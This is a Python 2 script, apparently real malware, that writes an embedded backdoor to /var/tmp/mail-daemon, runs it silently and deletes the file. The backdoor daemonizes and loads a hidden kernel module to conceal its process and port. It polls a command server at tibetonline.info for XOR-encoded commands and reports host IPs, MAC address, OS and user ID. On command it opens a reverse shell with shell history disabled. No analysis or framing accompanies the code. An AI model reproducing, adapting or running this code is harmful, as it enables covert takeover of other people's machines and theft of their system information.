#!/usr/bin/python
import os
import sys

sss = """#!/usr/bin/python
import platform
import os
import pwd
import re
import urllib
import xml.dom.minidom
import time
import sys
import socket
import pty
import signal
#import traceback

shell = "/bin/sh"
child = 1

def linkhcom(ip, port):
#	signal.signal(signal.SIGCHLD,signal.SIG_IGN)
	try: 
		pid = os.fork() 
		global child
		child = pid
		if pid > 0:
			os.wait()
			return 
	except OSError, e: 
		print >>sys.stderr, "fork #1 failed: %d (%s)" % (e.errno, e.strerror) 
		return 	
	try: 
		pid = os.fork() 
		if pid > 0:
			sys.exit(0)
	except OSError, e: 
		print >>sys.stderr, "fork #1 failed: %d (%s)" % (e.errno, e.strerror) 
		sys.exit(0)

	print "start Link HCOM"
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

	try:
		s.connect((socket.gethostbyname(ip),int(port)))
		print "[+]Connect OK."
	except:
		print "[-]Can't connect"
		sys.exit(0)

	try:
		os.dup2(s.fileno(),0)
		os.dup2(s.fileno(),1)
		os.dup2(s.fileno(),2)
		global shell
		os.unsetenv("HISTFILE")
		os.unsetenv("HISTFILESIZE")
		pty.spawn(shell)
		s.close()
	except:
		sys.exit(0)
	sys.exit(0)




def daemon ():
	try: 
		pid = os.fork() 
		if pid > 0:
			sys.exit(0) 
	except OSError, e: 
		print >>sys.stderr, "fork #1 failed: %d (%s)" % (e.errno, e.strerror) 
		sys.exit(1)

	os.chdir("/") 
	os.setsid() 
	os.umask(0) 

	try: 
		pid = os.fork() 
		if pid > 0:
			print "Daemon PID %d" % pid 
			os.system("insmod /lib/modules/.satax/satax.ko")
			os.system("echo hide > /proc/buddyinfo")
			os.system("echo hdport 80 > /proc/buddyinfo")
			os.system("echo hpid " + str(pid) + " > /proc/buddyinfo")
			sys.exit(0) 
	except OSError, e: 
		print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror) 
		sys.exit(1) 


def decrypt(c):
	if c[-1] == '=':
		c = c[0:-1]
	t = ""
	key = int(c[0:2], 16)
	for i in range(2, len(c), 2):
		t = t + chr(int(c[i:i+2], 16) ^ key)
	return t

def get_ips():
	ips = ""
	ipex = re.compile("(\d{1,3}\.){3}\d{1,3}")
	sout = os.popen("/sbin/ifconfig").readlines()
	for x in sout:
		m = ipex.search(x)
		if m and (m.group() != "127.0.0.1"):
			ips = ips + "("
			ips = ips + m.group()
			ips = ips + ")"
	return ips

def get_mac():
	mac = ""
	ipex = re.compile("([0-9a-fA-F][0-9a-fA-F]:){5}[0-9a-fA-F][0-9a-fA-F]")
	sout = os.popen("/sbin/ifconfig").readlines()
	for x in sout:
		m = ipex.search(x)
		if m:
			mac = mac + m.group()
			return mac.upper()
	return "00:00:00:00:00:00"

def get_uuid():
	mac = get_mac()
	return (mac[0:2] + mac[0:2] + mac[3:5] +mac[3:5] + mac[6:8] + mac[6:8] + mac[9:11] +  mac[9:11] + mac[12:14] + mac[12:14] + mac[15:17] + mac[15:17] + '6BA7B810').upper()

def get_name():
	return platform.node() + get_ips()

def get_os():
	return platform.platform()

def get_id():
	return "uid=%s(%s)" % (os.getuid(), pwd.getpwuid(os.getuid())[0])

def get_home():
	return os.getenv("HOME")

def getsysteminfo():
	post_dict3 = {}
	post_dict3['v'] = 'info'
	post_dict3['id'] = get_uuid()
	post_dict3['macName'] = get_name()
	post_dict3['macOS'] = get_os()
	post_dict3['macMac'] = get_mac()
	post_dict3['macPath'] = get_id()
	post_dict3['macTag'] = 'zz'
	post_dict3['macVer'] = '4.3.3'
	post_dict3['macVer2'] = ''
	post_data3 = urllib.urlencode(post_dict3)
	up3 = urllib.urlopen(upurl, post_data3)
	print up3.read()
	up3.close()

def linkhcomtest():
	print "linkcomtest"

def proc_cmd(cmdline):
	cmd = cmdline.split(';')[-1]			
	if cmd[-1] == "\\n":
		cmd = cmd[0:-1]
	print cmd

	if cmd == 'GetSystemInfo':
		getsysteminfo()
	elif cmd == 'LinkHCOM':
		parm = decrypt(cmdline.split(';')[0][9:-3])
		print parm
		linkhcom(parm.split(':')[0], parm.split(':')[1])

print get_uuid()
print get_mac()
print get_name()
print get_os()
print get_id()

socket.setdefaulttimeout(60)

daemon()

while(1):
	try:
		sina = urllib.urlopen("http://www.tibetonline.info/3125175043.xml")
		xmlstr = sina.read()
		startn = xmlstr.find("<description><![CDATA[")
		startn += 22
		stopn = xmlstr.find("=",startn)
		upurl = decrypt(xmlstr[startn:stopn])
		print upurl
		sina.close()

		post_dict = {}
		post_dict['v'] = 'get'
		post_dict['id'] = get_uuid()
		post_dict['vs'] = '4.3.3'
		post_data = urllib.urlencode(post_dict)
		up = urllib.urlopen(upurl, post_data)
		downstr = up.read()
		dom = xml.dom.minidom.parseString(downstr)
		doc = dom.documentElement
		items = doc.getElementsByTagName("item")
		for item in items:
			getcmd = decrypt(item.toxml()[16:-7])
			print getcmd
			proc_cmd(getcmd)
		up.close()

		up2 = urllib.urlopen(upurl + ("?v=get1&id=%s&vs=4.4.1(s1)" % (get_uuid())))
		print up2.read()
		up2.close()
	except:
		#print traceback.format_exc()
		print "something error, retry in 60s"
	if child == 0:
		sys.exit(1) 
	print 'sleep 60s'
	time.sleep(60)


"""
fname = "/var/tmp/mail-daemon"
if len(sys.argv) > 1:
	fname = sys.argv[1]
fp = open(fname, "w")
fp.write(sss)
fp.close()

os.system("python " + fname + " > /dev/null")
#os.system("python " + fname)

os.remove(fname)
